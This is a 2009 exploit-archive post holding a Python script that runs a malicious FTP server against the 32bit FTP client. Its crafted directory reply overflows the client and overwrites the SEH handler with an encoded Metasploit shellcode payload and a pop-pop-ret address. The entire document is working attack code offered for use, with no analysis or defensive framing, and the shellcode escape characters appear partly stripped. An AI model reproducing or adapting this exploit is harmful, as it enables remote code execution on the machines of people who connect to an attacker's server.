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32bitcwd-overwrite.txt

Posted on 05 May 2009

#!/usr/bin/python
# _  _   _         __    _     _ _
#| || | (_)  ___  /    | |__ | | |
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_   |_|
#
#[*] Bug     : 32bit FTP (09.04.24) (CWD Response) Universal Seh Overwrite Exploit
#[*] Refer : http://www.milw0rm.com/exploits/8611
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p

from socket import *

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49"
"x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36"
"x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34"
"x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41"
"x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4ax4ex46x54"
"x42x30x42x30x42x30x4bx48x45x54x4ex43x4bx48x4ex57"
"x45x30x4ax47x41x30x4fx4ex4bx58x4fx54x4ax31x4bx38"
"x4fx35x42x52x41x30x4bx4ex49x34x4bx58x46x33x4bx38"
"x41x50x50x4ex41x33x42x4cx49x59x4ex4ax46x38x42x4c"
"x46x47x47x50x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e"
"x46x4fx4bx33x46x55x46x52x46x30x45x57x45x4ex4bx58"
"x4fx45x46x52x41x50x4bx4ex48x56x4bx38x4ex30x4bx54"
"x4bx38x4fx55x4ex31x41x50x4bx4ex4bx58x4ex31x4bx58"
"x41x30x4bx4ex49x58x4ex35x46x32x46x30x43x4cx41x53"
"x42x4cx46x46x4bx58x42x54x42x33x45x38x42x4cx4ax57"
"x4ex30x4bx48x42x44x4ex50x4bx58x42x47x4ex31x4dx4a"
"x4bx58x4ax56x4ax30x4bx4ex49x30x4bx58x42x38x42x4b"
"x42x30x42x50x42x30x4bx58x4ax36x4ex53x4fx45x41x53"
"x48x4fx42x56x48x45x49x58x4ax4fx43x48x42x4cx4bx47"
"x42x35x4ax36x42x4fx4cx38x46x30x4fx55x4ax46x4ax59"
"x50x4fx4cx48x50x30x47x35x4fx4fx47x4ex43x36x41x56"
"x4ex46x43x46x42x50x5a")

buffer =   'x41'*4335
buffer +=  shellcode
buffer +=  'xE9xA4xFExFFxFF' # nro7o nro7o lel shellcode nro7o :p
buffer +=  'x90'*49
buffer +=  'x74xC8x90x90' # to the end and its a new Beginning ;)
buffer +=  'x30x14x45x00' #universal pop-pop-ret 32bitftp.exe

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 chtawala chtakayen
")
c.recv(1024)
c.send("331 pwd please
")
c.recv(1024)
c.send("230 OK
")
c.recv(1024)
c.send("250 CWD command successful.
")
c.recv(1024)
c.send("257 "+buffer+" is current directory.")
c.close()
raw_input("[+] Done, press enter to quit")
s.close()

 

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